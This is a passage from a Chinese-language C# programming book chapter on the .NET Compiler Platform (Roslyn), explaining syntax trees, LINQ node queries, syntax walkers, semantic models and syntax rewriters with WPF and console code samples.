根据编译器管道,提供了编译器API,例如语法(Syntax)API、符号(Symbol) API、绑定和流分析(Binding and Flow Analysis)API以及发布(Emit)API。.NET编译器 平台还提供了一个API层,来利用另一个API:工作区Workspace API。工作区API允许使 用工作区、解决方案、项目和文档。在Visual Studio中,一个解决方案可以包含多个项 目。一个项目包含多个文档。这个列表的新增内容是工作区。一个工作区可以包含多个解 决方案。 你可能会认为,一个解决方案可能就足够了。不过,所有用于.NET编译器平台的树 是不可变的,不能更改。每次改变都会创建一个新树——换句话说,解决方案中的改变会 创建一个新的解决方案。这就是为什么需要工作区这个概念的原因——工作区可以包含多 个解决方案。 18.3 语法分析 下面从一个简单的任务开始:用语法API进行语法分析。使用语法API,可以从C#源 代码中建立一个语法节点树。示例应用程序是一个WPF应用程序,在其中可以加载任何 C#源文件,源文件的层次结构显示在一个树图中。  注意: XAML和WPF在第29章和接下来的章节中详细说明。TreeView控件的 信息参见第34章。 示例应用程序定义了一个用户界面,其中的按钮控件加载C#源文件、TreeView控 件、几个TextBlock和ListBox控件来显示一个节点的细节,如文档大纲(见图18-2)和 XAML设计器(见图18-3)所示。数据绑定用来把信息内容绑定到UI元素上。 图18-2 图18-3 运行应用程序,单击Load按钮后,在OpenFileDialog类的帮助下指定C#文件。在这个 对话框中单击OK后,该文件加载到语法树(代码文件 WPFSyntaxTree/MainWindow.xaml.cs)中: private async void OnLoad(object sender, RoutedEventArgs e) { var dlg = new OpenFileDialog(); dlg.Filter = "C# Code (.cs)|*.cs"; if (dlg.ShowDialog() == true) { string code = File.ReadAllText(dlg.FileName); // load the syntax tree } }  注意: 文件输入/输出(I/O)参见第23章。 语法API的核心是SyntaxTree类。使用CSharpSyntaxTree.ParseText解析C#文件内容, 会创建一个SyntaxTree对象。要从树中获得节点,GetRootAsync(或GetRoot)方法应返回 根节点。所有节点都是从SyntaxNode基类派生而来的类。为了在用户界面中显示根节点, 应使用SyntaxNodeViewModel类包装SyntaxNode,之后添加到Nodes属性: private async void OnLoad(object sender, RoutedEventArgs e) { // etc. SyntaxTree tree = CSharpSyntaxTree.ParseText(code); SyntaxNode node = await tree.GetRootAsync(); Nodes.Add(new SyntaxNodeViewModel(node)); } } Nodes属性的类型是ObservableCollection < SyntaxViewModel >。当集合变化时,它更 新用户界面。 public ObservableCollection<SyntaxNodeViewModel> Nodes { get; } = new ObservableCollection<SyntaxNodeViewModel>(); 类SyntaxNodeViewModel包装一个SyntaxNode,显示在用户界面中。它定义了 Children属性,递归地显示所有子节点。Children属性通过调用ChildNodes()方法,把 SyntaxNode对象的集合转换为SyntaxNodeViewModel,来访问语法树中的所有子节点。这 个类也定义了Tokens和Trivia属性,参见本节后面的内容。TypeName属性返回 SyntaxNodeViewModel类包装的实际类型名称。这应该是一个派生自基类SyntaxNode的类 型(代码文件WPFSyntaxTree/ViewModels/SyntaxNodeViewModel.cs): public class SyntaxNodeViewModel { public SyntaxNodeViewModel(SyntaxNode syntaxNode) { SyntaxNode = syntaxNode; } public SyntaxNode SyntaxNode { get; } public IEnumerable<SyntaxNodeViewModel> Children => SyntaxNode.ChildNodes().Select(n => new SyntaxNodeViewModel(n)); public IEnumerable<SyntaxTokenViewModel> Tokens => SyntaxNode.ChildTokens().Select(t => new SyntaxTokenViewModel(t)); public string TypeName => SyntaxNode.GetType().Name; public IEnumerable<SyntaxTriviaViewModel> Trivia { get { var leadingTrivia = SyntaxNode.GetLeadingTrivia().Select( t => new SyntaxTriviaViewModel(TriviaKind.Leading, t)); var trailingTrivia = SyntaxNode.GetTrailingTrivia().Select( t => new SyntaxTriviaViewModel(TriviaKind.Trailing, t)); return leadingTrivia.Union(trailingTrivia); } } } 在用户界面中,TreeView控件绑定到Nodes属性上。HierarchicalDataTemplate定义了 树图中项的外观。利用这个数据模板,TypeName属性的值显示在TextBlock中。为了显示 所有子节点,HierarchicalDataTemplate的ItemsSource属性绑定到Children属性(代码文件 WPFSyntaxTree/MainWindow.xaml): <TreeView x:Name="treeView" ItemsSource="{Binding Nodes, Mode=OneTime}" SelectedItemChanged="OnSelectSyntaxNode" Grid.Row="1" Grid.Column="0"> <TreeView.ItemTemplate> <HierarchicalDataTemplate ItemsSource="{Binding Children}"> <StackPanel> <TextBlock Text="{Binding TypeName}" /> </StackPanel> </HierarchicalDataTemplate> </TreeView.ItemTemplate> </TreeView> 随示例应用程序一起打开的代码文件是一个简单的Hello, World!代码文件,还包括 一些注释: using static System.Console; namespace SyntaxTreeSample { // Hello World! Sample Program public class Program { // Hello World! Sample Method public void Hello() { WriteLine("Hello, World! "); } } } 当运行应用程序时,可以看到一个语法节点类型树,如表18-1所示。SyntaxNode允许 遍历层次结构,来访问父节点、祖先节点和后代节点。当使用Span属性(它返回一个 TextSpan结构)时,返回源代码中的位置信息。表18-1在第1列中显示了层次结构级别(2 是1的子节点,3是2的子节点),第2列给出了节点类的类型,第3列列出了节点的内容 (如果内容较长,就显示一个省略号),第4列给出了Span属性的Start和End位置。有了这 棵树,可以看到CompilationUnitSyntax横跨完整的源代码。这个节点的子节点是 UsingDirectiveSyntax和NamespaceDeclarationSyntax。UsingDirectiveSyntax由using声明构 成,用于导入System.Console静态类。UsingDirectiveSyntax的子节点是 QualifiedNameSyntax,它本身包含两个IdentifierNameSyntax节点: 表18-1 层次结构级 别 语法节点类型 内容 SPAN— START, END 1 CompilationUnitSyntax using static System.Console; … 0.273 2 UsingDirectiveSyntax using static System.Console; 0.28 3 QualifiedNameSyntax System.Console 13.27 4 IdentifierNameSyntax System 13.19 4 IdentifierNameSyntax Console 20.27 2 NamespaceDeclarationSyntax namespace SyntaxTreeSample …. 32.271 3 IdentifierNameSyntax SyntaxTreeSample 42.58 3 ClassDeclarationSyntax public class Program… 103.268 4 MethodDeclarationSyntax public void Hello… 179.261 5 PredefinedTypeSyntax void 186.190 5 ParameterListSyntax () 196.198 5 BlockSyntax { WriteLine(… 208.261 6 ExpressionStatementSyntax WriteLine("Hello, … 223.250 7 InvocationExpressionSyntax WriteLine("Hello… 223.249 8 IdentifierNameSyntax WriteLine 223.232 8 ArgumentListSyntax ("Hello, World! ") 232.249 9 ArgumentSyntax "Hello, World! " 233.248 10 LiteralExpressionSyntax "Hello, World! " 233.248 语法节点并不是程序所需的所有内容。程序也需要令牌。例如,示例程序的 NamespaceDe-clarationSyntax包含3个令牌:namespace、{, and}。 NamspaceDeclarationSyntax的子节点Identifier-NameSyntax有一个值为SyntaxTreeSample的 令牌,即名称空间的名称。访问修饰符也用令牌定义。ClassDeclarationSyntax定义了5个 令牌:public、class、Program、{, and}。 要在WPF应用程序中显示令牌,定义SyntaxTokenViewModel类,其中包装一个 SyntaxToken(代码文件WPFSyntaxTree / ViewModels / SyntaxTokenViewModel.cs): public class SyntaxTokenViewModel { public SyntaxTokenViewModel(SyntaxToken syntaxToken) { SyntaxToken = syntaxToken; } public SyntaxToken SyntaxToken { get; } public string TypeName => SyntaxToken.GetType().Name; public override string ToString() => SyntaxToken.ToString(); } 为了编译程序,需要节点和令牌。要重建源文件,还需要trivia。trivia也定义了空白 和注释。为了显示trivia,定义了SyntaxTriviaViewModel (代码文件 WPFSyntaxTree/ViewModels/SyntaxTrivia-ViewModel.cs): public enum TriviaKind { Leading, Trailing, Structured, Annotated } public class SyntaxTriviaViewModel { public SyntaxTriviaViewModel(TriviaKind kind, SyntaxTrivia syntaxTrivia) { TriviaKind = kind; SyntaxTrivia = syntaxTrivia; } public SyntaxTrivia SyntaxTrivia { get; } public TriviaKind TriviaKind { get; } public override string ToString() => $"{TriviaKind}, Start: {SyntaxTrivia.Span.Start}, " + $"Length: {SyntaxTrivia.Span.Length}: {SyntaxTrivia}"; } 当运行应用程序时,打开文件HelloWorld.cs,会看到节点树、令牌和trivia,如图18-4 所示。trivia经常包含空白,有时还有注释。 图18-4 18.3.1 使用查询节点 除了访问子节点来遍历所有节点之外,还可以创建查询来查找特定的节点。查询使用 语言集成查询(Language Integrated Query, LINQ)。  注意: LINQ参见第13章。 示例应用程序是一个控制台应用程序。要创建一个包括NuGet包 Microsoft.CodeAnalysis的控制台应用程序,可以从Extensibility类别Stand-Alone Code Analysis Tool中创建一个项目。显示查询的示例项目命名为SyntaxQuery。 .NET的规则指定,公共或受保护的成员应该以大写字母开头。示例应用程序查询源 文件的所有方法和属性,如果它们不以大写字母开头,就写入控制台。为了查看表明输出 类型的结果,把以下不相容的成员添加到Program类中。在下面的代码片段中, foobar()方法应该忽略,因为这个方法没有public访问修饰符,但foo()方法和bar属性 应该匹配(代码文件SyntaxQuery /Program.cs): public void foo() { } private void foobar() { } public int bar { get; set; } 与前面使用语法API的方式类似,根节点使用类CSharpSyntaxTree和SyntaxTree来检 索: static async Task CheckLowercaseMembers() { string code = File.ReadAllText("../../Program.cs"); SyntaxTree tree = CSharpSyntaxTree.ParseText(code); SyntaxNode root = await tree.GetRootAsync(); // etc. 为了获得树中根节点后面的所有节点,SyntaxNode类定义了DescendantNodes()方 法。它返回节点的所有子节点和子节点的子节点。前面例子使用的ChildNodes()方法只 返回直接的子节点。所得到的节点用OfType()方法过滤,只返回类型 MethodDeclarationSyntax的节点。MethodDeclarationSyntax是派生自SyntaxNode的一个 类,代表树中的一个节点,该节点是一个方法。可以使用前面的示例WPFSyntaxTree查看 现有源代码的所有节点类型。第一个Where()方法定义了下一个过滤器。在这里,提取 方法的标识符(方法名),只检索第一个字符。char.IsLower方法用于确定第一个字符是 小写。只有这个表达式是true,过滤器才返回方法节点。这个小写字母检查不满足我们的 需求。同时,只应该返回公共成员。这个过滤器由下一个Where()方法定义。要检查 public访问修饰符,MethodDeclarationSyntax定义了Modifiers属性。这个属性返回方法的所 有修饰符。Where()方法检查public修饰符是否属于修饰符列表。应用所有条件的方法 写入控制台。 // etc. var methods = root.DescendantNodes() .OfType<MethodDeclarationSyntax>() .Where(m => char.IsLower(m.Identifier.ValueText.First())) .Where(m => m.Modifiers.Select(t => t.Value).Contains("public")); WriteLine("Public methods with lowercase first character:"); foreach (var m in methods) { WriteLine(m.Identifier.ValueText); } // etc. 检索子元素和父元素的其他方法如下: ● DescendantNodesAndSelf返回调用方法的节点和所有的后代节点。 ● DescendantTokens返回所有的后代令牌 ● DescendantTrivia返回trivia信息 ● Ancestors检索父节点和父节点的父节点 有几个方法是前面列出的方法的组合,如DescendantNodesAndTokensAndSelf。可以 对树中的每个SyntaxNode使用这些方法。 要在相同的条件下检索属性,语法是相似的。只需要获得类型 PropertyDescriptionSyntax的语法节点: // etc. var properties = root.DescendantNodes() .OfType<PropertyDeclarationSyntax>() .Where(p => char.IsLower(p.Identifier.ValueText.First())) .Where(p => p.Modifiers.Select(t => t.Value).Contains("public")); WriteLine("Public properties with lowercase first character:"); foreach (var p in properties) { WriteLine(p.Identifier.ValueText); } } 运行应用程序,会看到以下结果,相应地改变源文件,来实现指导方针: Public methods with lowercase first character: foo Public properties with lowercase first character: bar 18.3.2 遍历节点 除了查询之外,另一种方法是基于特定的节点类型,高效地过滤源代码树:语法遍历 器。语法遍历器访问语法树中的所有节点。这意味着在解析语法树时,调用语法遍历器的 不同VisitXXX()方法。 下一个示例定义了一个语法遍历器,检索所有using指令,显示从指定目录导入所有 C#文件所需的列表。 通过创建一个派生于CSharpSyntaxWalker的类,来创建语法遍历器。类UsingCollector 重写了方法VisitUsingDirective,从语法树中收集所有using指令。传递给该方法的 UsingDirectiveSyntaxNode被添加到集合中(代码文件SyntaxWalker / UsingCollector.cs): class UsingCollector: CSharpSyntaxWalker { private readonly List<UsingDirectiveSyntax> _usingDirectives = new List<UsingDirectiveSyntax>(); public IEnumerable<UsingDirectiveSyntax> UsingDirectives => _usingDirectives; public override void VisitUsingDirective(UsingDirectiveSyntax node) { _usingDirectives.Add(node); } } 类CSharpSyntaxWalker给许多不同类型的节点定义了可以重写的虚拟方法。可以使用 VisitToken和VisitTrivia获取令牌和trivia信息。还可以收集特定源代码语句的信息,如 VisitWhileStatement、VisitWhereClause、VisitTryStatement、VisitThrowStatement、 VisitThisExpression和VisitSwitchStatement等。 Main方法检查程序参数,其中包含应该检查using声明的C#源文件的目录(代码文件 SyntaxWalker / Program.cs): static void Main(string[] args) { if (args.Length ! = 1) { ShowUsage(); return; } string path = args[0]; if (! Directory.Exists(path)) { ShowUsage(); return; } } static void ShowUsage() { WriteLine("Usage: SyntaxWalker directory"); } 方法ProcessUsingsAsync完成所有的处理。首先,创建UsingCollector实例。为了在所 传入的目录中遍历所有的文件,使用了Directory.EnumerateFiles方法,其搜索模式是*.cs, 检索所有的C#文件。然而,应该排除自动生成的C#文件——所以使用Where方法过滤掉扩 展名为.g.i.cs和.g.cs的文件。在以下的foreach语句中,建立语法树,传递给UsingCollector 实例的Visit方法: static async Task ProcessUsingsAsync(string path) { const string searchPattern = "*.cs"; var collector = new UsingCollector(); IEnumerable<string> fileNames = Directory.EnumerateFiles(path, searchPattern, SearchOption.AllDirectories ) .Where(fileName => ! fileName.EndsWith(".g.i.cs") && !fileName.EndsWith(".g.cs")); foreach (var fileName in fileNames) { string code = File.ReadAllText(fileName); SyntaxTree tree = CSharpSyntaxTree.ParseText(code); SyntaxNode root = await tree.GetRootAsync(); collector.Visit(root); } // etc. 调用Visit方法后,在UsingCollector的UsingDirectives属性中收集using指令。using指令 写入控制台之前,需要排序,并删除在多个源文件中找到的副本。排序using指令有一些 特殊的问题,用以下LINQ查询解决:using static声明应该放在最后,using声明后面的分 号不应用于定义排序顺序: // etc. var usings = collector.UsingDirectives; var usingStatics = usings.Select(n => n.ToString()) .Distinct() .Where(u => u.StartsWith("using static")) .OrderBy(u => u); var orderedUsings = usings.Select(n => n.ToString()) .Distinct().Except(usingStatics) .OrderBy(u => u.Substring(0, u.Length-1)); foreach (var item in orderedUsings.Union(usingStatics)) { WriteLine(item); } } 运行应用程序,传递之前创建的WPF语法树应用程序的目录,using声明如下所示: using Microsoft.CodeAnalysis; using Microsoft.CodeAnalysis.CSharp; using Microsoft.Win32; using System; using System.Collections.Generic; using System.Collections.ObjectModel; using System.ComponentModel; using System.IO; using System.Linq; using System.Reflection; using System.Resources; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Windows; using WPFSyntaxTree.ViewModels; using static System.Console; 18.4 语义分析 语法API是非常强大的,可以获取源文件的结构信息。然而,它没有提供源文件是否 编译、变量的类型等信息。要得到这个信息,需要编译程序,这需要程序集引用的信息、 编译器选项和一组源文件。使用这些信息称为语义分析。在这里,可以使用符号和绑定 API。这些API提供了引用符号的名称和表达式信息(类型、名称空间、成员、变量)。 控制台应用程序示例提供了以下Hello, World!程序的语义,它不只定义了方法 Hello,还有一个变量hello(代码文件SemanticsCompilation /HelloWorld.cs): using static System.Console; namespace SemanticsCompilation { // Hello World! Sample Program class Program { // Hello World! Sample Method with a variable public void Hello() { string hello = "Hello, World! "; WriteLine(hello); } static void Main() { var p = new Program(); p.Hello(); } } } 首先,使用语法API从树中检索Hello()方法和hello变量的节点。使用LINQ查询, 从树中检索Hello方法的MethodDeclarationSyntax和hello变量的 VariableDeclarationSyntax(代码文件SemanticsCompilation/Program.cs): string source = File.ReadAllText("HelloWorld.cs"); SyntaxTree tree = CSharpSyntaxTree.ParseText(source); var root = (await tree.GetRootAsync()) as CompilationUnitSyntax; // get Hello method MethodDeclarationSyntax helloMethod = root.DescendantNodes() .OfType<MethodDeclarationSyntax>() .Where(m => m.Identifier.ValueText == "Hello") .FirstOrDefault(); // get hello variable VariableDeclaratorSyntax helloVariable = root.DescendantNodes() .OfType<VariableDeclaratorSyntax>() .Where(v => v.Identifier.ValueText == "hello") .FirstOrDefault(); 18.4.1 编译 为了获得语义信息,需要编译代码。可以创建一个编译,调用CSharpCompilation类的 静态Create()方法。这个方法返回一个CSharpCompilation实例,表示编译后的代码。需 要的参数是生成的程序集的名称。可选参数是语法树、程序集引用和编译器选项。也可以 通过调用方法来添加这些信息。示例代码通过调用AddReferences()方法添加了一个程 序集引用,通过调用AddSyntaxTrees方法添加了语法树。通过调用WithOptions()方法并 传递CompilationOptions类型的对象,可以配置编译器选项,但这里只使用默认选项(代 码文件SemanticsCompilation / Program. cs): var compilation = CSharpCompilation.Create("HelloWorld") .AddReferences( MetadataReference.CreateFromFile( typeof(object).Assembly.Location)) .AddSyntaxTrees(tree); 实际的编译器和数年前大学讲授的编译器构造是有区别的:程序不是在执行前只编译 一次,而需要编译多次。在代码编辑器中添加一些字符,如果编译出错,就需要给错误的 代码加上波浪线。出现这种行为,是因为执行了新的编译过程。使用CSharpCompilation对 象,进行小的修改,以使用前面编译中的缓存信息。编译器利用此功能高效地构建这个过 程。 使用AddReferences和AddSyntaxTrees可以添加语法树和引用;使用RemoveReferences 和RemoveSyntaxTrees删除它们。要产生编译的二进制文件,可以调用Emit方法: EmitResult result = compilation.Emit("HelloWorld.exe"); 使用编译,可以检索编译过程的诊断信息。编译对象也给出一些符号的信息。例如, 可以检索Hello方法的符号: ISymbol helloVariableSymbol1 = compilation.GetSymbolsWithName(name => name == "Hello").FirstOrDefault(); 18.4.2 语义模型 为了分析程序,访问与树中节点绑定的符号,可以创建一个SemanticModel对象,来 调用CSharpCompilation对象的GetSemanticModel()方法(代码文件SemanticsCompilation / Program. cs): SemanticModel model = compilation.GetSemanticModel(tree); 使用语义模型,现在可以把SyntaxNode节点传递给SemanticModel类的方法 AnalyzeControlFlow和AnalyzeDataFlow,来分析控制流和数据流。SemanticModel类还允 许获取表达式的信息。将树上的节点与符号关联起来,是示例程序中的下一个任务。这就 是所谓的绑定。GetSymbol和GetDeclaredSymbol()方法返回节点的符号。在下面的代码 片段中,从节点helloVariable和helloMethod中检索符号: ISymbol helloVariableSymbol = model.GetDeclaredSymbol(helloVariable); IMethodSymbol helloMethodSymbol = model.GetDeclaredSymbol(helloMethod); ShowSymbol(helloVariableSymbol); ShowSymbol(helloMethodSymbol); 要查看可以从符号中访问的信息,定义了方法ShowSymbol,来访问Name、Kind、 ContainingSymbol和ContainingType属性。在IMethodSymbol中,也显示了MethodKind属 性: private static void ShowSymbol(ISymbol symbol) { WriteLine(symbol.Name); WriteLine(symbol.Kind); WriteLine(symbol.ContainingSymbol); WriteLine(symbol.ContainingType); WriteLine((symbol as IMethodSymbol)? .MethodKind); WriteLine(); } 运行这个程序时,可以看到hello是局部变量,Hello方法是一个Method。其他的一些 符号类型是Field、Event、Namespace和Parameter。包含hello变量的符号是Hello()方 法,在Hello()方法中是Program类。两个检查符号的包含类型是Program。Hello()方 法的符号也表明这是一个Ordinary方法。MethodKind枚举的其他值是Constructor、 Conversion、EventAdd、EventRemove、PropertyGet和PropertySet: hello Local SemanticsCompilation.Program.Hello() SemanticsCompilation.Program Hello Method SemanticsCompilation.Program SemanticsCompilation.Program Ordinary 18.5 代码转换 在遍历代码树,获取语义分析后,就该对代码进行一些修改了。代码树的一个重要方 面是,它是不可变的,因此不能被改变。相反,可以使用方法改变树中的节点,它总是返 回新节点和未改变的原始节点的叶子节点。  注意: 代码树存储在不变的集合类中。这些集合参见第12章。 18.5.1 创建新树 下面的代码片段定义了一个Sample类,其方法使用小写的名字。这个类的公共方法应 该改为以大写字符开头(代码文件TransformMethods / Sample. cs): namespace TransformMethods { class Sample { public void foo() { } public void bar() { } private void fooBar() { } } } 控制台应用程序的Main()方法读取这个文件,并调用 TransformMethodToUppercaseAsync(代码文件TransformMethods / Program. cs): static void Main() { string code = File.ReadAllText("Sample.cs"); TransformMethodToUppercaseAsync(code).Wait(); } TransformMethodToUppercaseAsync首先从类型为MethodDeclarationSyntax的树中获取 第一个字母小写的所有公共节点。所有节点都添加到methods集合中。(这个查询在前面 的“查询节点”一节中讨论过) static async Task TransformMethodToUppercaseAsync(string code) { SyntaxTree tree = CSharpSyntaxTree.ParseText(code); SyntaxNode root = await tree.GetRootAsync(); var methods = root.DescendantNodes() .OfType<MethodDeclarationSyntax>() .Where(m => char.IsLower(m.Identifier.ValueText.First())) .Where(m => m.Modifiers.Select(t => t.Value).Contains("public")).ToList() ; // etc. } 下面是有趣的部分。ReplaceNode是SyntaxNode的一个方法,调用它,替换存储在 methods集合中的所有MethodDeclarationSyntax节点。要替换一个节点,SyntaxNode类定义 了ReplaceNode()方法。对于多个节点(在本例中),可以使用ReplaceNodes()方 法。它的第一个参数接收应该更换的所有原始节点。在示例代码中,这是 MethodDeclarationSyntax节点的列表。第二个参数定义一个委托Func < TNode, TNode, SyntaxNode >。在示例代码中,TNode是MethodDeclarationSyntax类型,因为通过第一个 参数传递的集合是这种类型。委托实现为一个lambda表达式,把原始节点接收为第一个参 数,把新节点接收为第二个参数。在lambda表达式的实现代码中,通过 oldMethod.Identifier.ValueText访问原来的方法名称。对于这个名字,第一个字符改为大 写,写入变量newName。 为了创建新节点和令牌,可以使用类SyntaxFactory。SyntaxFactory是一个静态类,它 定义了成员,来创建不同类型的节点、令牌和trivia。在这里需要一个新的方法名——标 识符。要创建标识符,使用静态方法Identifier。传递新的方法名时,返回一个 SyntaxToken。现在可以给WithIdentifier()方法使用该标识符。WithIdentifier是 MethodDeclarationSyntax的一个方法,给它传递变更,就返回一个新 MethodDeclarationSyntax。最后,从lambda表达式中返回这个新的 MethodDeclarationSyntax节点。接着,用根对象调用的ReplaceNodes()方法返回一个新 的不可变集合,其中包含所有的变更: static async Task TransformMethodToUppercaseAsync(string code) { // etc. root = root.ReplaceNodes(methods, (oldMethod, newMethod) => { string newName = char.ToUpperInvariant(oldMethod.Identifier.ValueText[0]) + oldMethod.Identifier.ValueText.Substring(1); return newMethod.WithIdentifier(SyntaxFactory.Identifier(newName)); }); WriteLine(); WriteLine(root.ToString()); } 运行应用程序时,可以看到公共方法改变了,但私有方法不变: namespace TransformMethods { class Sample { public void Foo() { } public void Bar() { } private void fooBar() { } } } 为了转换源代码,最重要的部分是SyntaxFactory、WithXX和ReplaceXX方法。 因为节点是不可变的,所以不能更改节点的属性,此时需要SyntaxFactory类。这个类 允许创建节点、令牌或trivia。例如: ● MethodDeclaration()方法创建一个新的MethodDeclarationSyntax。 ● Argument()方法创建一个新的ArgumentSyntax。 ● ForEachStatement()方法创建一个ForEachStatementSyntax。 可以使用从SyntaxFactory中创建的对象和方法来转换语法节点。例如,WithIdentifier 基于标识符变化的现有节点,创建一个新节点。在示例应用程序中,用 MethodDeclarationSyntax对象调用WithIdentifier。其他WithXX()方法的几个示例如下: ● WithModifiers改变访问修饰符 ● WithParameterList改变方法的参数 ● WithReturnType改变返回类型 ● WithBody改变方法的实现代码 所有的WithXX()方法都只能改变节点的直接子节点。ReplaceXX()方法可以改 变所有的后代节点。ReplaceNode取代单个节点;ReplaceNode(如示例应用程序所示)取 代一个节点列表。其他ReplaceXX()方法有ReplaceSyntax、ReplaceToken和 ReplaceTrivia。 18.5.2 使用语法重写器 遍历语法节点时,CSharpSyntaxWalker是读取特定节点的一个有效方法。改变节点 时,有一个类似的选项:派生自CSharpSyntaxRewriter的类。以这种方式重写,是通过改 变节点,基于现有语法树建立新语法树的有效方式。 下面的代码片段用于转换。类Sample定义了完整的Text和X属性,它们应该转换为自 动实现的属性。类的其他成员不应该改变(代码文件SyntaxRewriter / Sample. cs): namespace SyntaxRewriter { class Sample { // these properties can be converted to auto-implmenented properties private int _x; public int X { get { return _x; } set { _x = value; } } private string _text; public string Text { get { return _text; } set { _text = value; } } // this is already a auto-implemented property public int Y { get; set; } // this shouldn't be converted private int _z = 3; public int Z { get { return _z; } } } } 要改变语法节点,类AutoPropertyRewriter派生于基类CSharpSyntaxRewriter。在重写 器中访问符号和绑定信息时,SemanticModel需要传递给重写器的构造函数(代码文件 SyntaxRewriter/AutoPropertyRewriter.cs): class AutoPropertyRewriter: CSharpSyntaxRewriter { private readonly SemanticModel _semanticModel; public AutoPropertyRewriter(SemanticModel semanticModel) { _semanticModel = semanticModel; } // etc. 基类CSharpSyntaxRewriter为不同的语法节点类型定义了多个虚拟VisitXX方法。在这 里重写了方法VisitPropertyDeclaration()。重写器在树中发现一个属性时,调用该方 法。在这样一个方法中,可以通过改变这个节点(包括其子节点),来影响重写的结果。 该方法的实现代码首先检查是否应该调用HasBothAccessors辅助方法来改变属性。如果这 个方法返回true,就通过调用ConvertToAutoProperty来转换属性,并返回转换后的属性和 方法。如果属性不匹配,就返回它,保留它在树中的状态: public override SyntaxNode VisitPropertyDeclaration( PropertyDeclarationSyntax node) { if (HasBothAccessors(node)) { // etc. PropertyDeclarationSyntax property = ConvertToAutoProperty(node) .WithAdditionalAnnotations(Formatter.Annotation); return property; } return node; } 另一个类CSharpSyntaxRewriter提供了近200个可以重写的方法。例如 VisitClassDeclaration改变类的声明,VisitTryStatement、VisitCatchClause和 VisitCatchDeclaration、VisitCatchFilterClause处理异常。在示例代码中,现在只对改变属 性感兴趣;因此重写方法VisitPropertyDeclaration()。 方法HasBothAccessors()验证属性声明是否包含get和set访问器。这个方法也检查这 些访问器体是否只定义了一个语句。如果使用了不止一个语句,属性就不能转换为自动实 现的属性: private static bool HasBothAccessors(BasePropertyDeclarationSyntax property) { var accessors = property.AccessorList.Accessors; var getter = accessors.FirstOrDefault( ad => ad.Kind() == SyntaxKind.GetAccessorDeclaration); var setter = accessors.FirstOrDefault( ad => ad.Kind() == SyntaxKind.SetAccessorDeclaration); return getter? .Body? .Statements.Count == 1 && setter? .Body? .Statements.Count == 1; } 方法ConvertToAutoProperty()使用WithAccessorList()方法来改变 propertyDeclaration的子元素。访问器列表及其子列表在SyntaxFactory类的帮助下创建。通 过传递SyntaxKind.GetAccessorDeclaration和SyntaxKind.SetAccessorDeclaration枚举值, SyntaxFactory.AccessorDeclaration就创建get和set访问器: private PropertyDeclarationSyntax ConvertToAutoProperty( PropertyDeclarationSyntax propertyDeclaration) { var newProperty = propertyDeclaration .WithAccessorList( SyntaxFactory.AccessorList( SyntaxFactory.List(new[] { SyntaxFactory.AccessorDeclaration(SyntaxKind.GetAccessorDeclaration) .WithSemicolonToken( SyntaxFactory.Token(SyntaxKind.SemicolonToken)), SyntaxFactory.AccessorDeclaration(SyntaxKind.SetAccessorDeclaration) .WithSemicolonToken( SyntaxFactory.Token(SyntaxKind.SemicolonToken)) }))); return newProperty; } 在Program类中,在检索语义模型后实例化AutoPropertyRewriter。通过调用Visit() 方法,使用树开始重写(代码文件SyntaxRewriter / Program.cs): static async Task ProcessAsync(string code) { SyntaxTree tree = CSharpSyntaxTree.ParseText(code); var compilation = CSharpCompilation.Create("Sample") .AddReferences(MetadataReference.CreateFromFile( typeof(object).Assembly.Location)) .AddSyntaxTrees(tree); SemanticModel semanticModel = compilation.GetSemanticModel(tree); var propertyRewriter = new AutoPropertyRewriter(semanticModel); SyntaxNode root = await tree.GetRootAsync().ConfigureAwait(false); SyntaxNode rootWithAutoProperties = propertyRewriter.Visit(root); // etc. } 当运行程序,检查新代码时,会发现完整的属性已转换为自动实现的属性。然而,完 整属性中的字段仍在代码树中。需要删除它们。在VisitPropertyDeclaration方法中,只能 改变属性,不能改变字段。在CSharpSyntaxRewriter类的重写方法中,只有接收的节点和 节点的子元素可以改变,不能改变层次结构中的其他节点。 可以使用VisitPropertyDeclaration()方法改变属性,使用VisitFieldDeclaration()方 法可以改变字段。CSharpSyntaxRewriter的方法以自上而下的方式调用。 VisitNamespaceDeclaration在VisitClass-Declaration之前调用,然后执行类成员的 VisitXX()方法。这样,就可以改变节点和后代节点,但不能在VisitXX()方法中改变 祖先节点或同级节点。当字段和属性在语法树层次结构的相同级别时,它们就是同级节 点。 先调用VisitFieldDeclaration()还是VisitPropertyDeclaration()方法,取决于代码内 的顺序。属性的字段可以在属性之前或之后声明,所以无法保证这些方法的调用顺序。 不过,可以访问属性中的支持字段,并将它添加到一个可以从AutoPropertyRewriter访 问的列表中。使用辅助方法GetBackingFieldFromGetter检索支持字段,该辅助方法利用语 义模型访问符号。利用这个符号,检索FieldDeclarationSyntax的语法引用,该字段的信息 添加到_fieldsToRemove集合中(代码文件SyntaxRewriter/AutoPropertyRewriter.cs): private readonly List<string> _fieldsToRemove = new List<string>(); public IEnumerable<string> FieldsToRemove => _fieldsToRemove; public override SyntaxNode VisitPropertyDeclaration( PropertyDeclarationSyntax node) { if (HasBothAccessors(node)) { IFieldSymbol backingField = GetBackingFieldFromGetter( node.AccessorList.Accessors.Single( ad => ad.Kind() == SyntaxKind.GetAccessorDeclaration)); SyntaxNode fieldDeclaration = backingField.DeclaringSyntaxReferences .First() .GetSyntax() .Ancestors() .Where(a => a is FieldDeclarationSyntax) .FirstOrDefault(); _fieldsToRemove.Add((fieldDeclaration as FieldDeclarationSyntax) ?.GetText().ToString()); PropertyDeclarationSyntax property = ConvertToAutoProperty(node) .WithAdditionalAnnotations(Formatter.Annotation); return property; } return node; } 辅助方法GetBackingFieldFromGetter使用get访问器的返回语句和语义模型,得到字段 的符号: private IFieldSymbol GetBackingFieldFromGetter( AccessorDeclarationSyntax getter) { if (getter.Body? .Statements.Count ! = 1) return null; var statement = getter.Body.Statements.Single() as ReturnStatementSyntax; if (statement? .Expression == null) return null; return _semanticModel.GetSymbolInfo(statement.Expression).Symbol as IFieldSymbol; } 现在,可以创建另一个语法重写器,删除支持字段。RemoveBackingFieldRewriter是 一个语法重写器,删除传递给构造函数的所有字段。VisitFieldDeclaration重写方法检查接 收到的节点,确定它是否包含在传递给构造函数的字段集合中,给匹配的字段返回 null(代码文件SyntaxRewriter /Remove-BackingFieldRewriter.cs): class RemoveBackingFieldRewriter: CSharpSyntaxRewriter { private IEnumerable<string> _fieldsToRemove; private readonly SemanticModel _semanticModel; public RemoveBackingFieldRewriter(SemanticModel semanticModel, params string[] fieldsToRemove) { _semanticModel = semanticModel; _fieldsToRemove = fieldsToRemove; } public override SyntaxNode VisitFieldDeclaration(FieldDeclarationSyntax nod e) { if 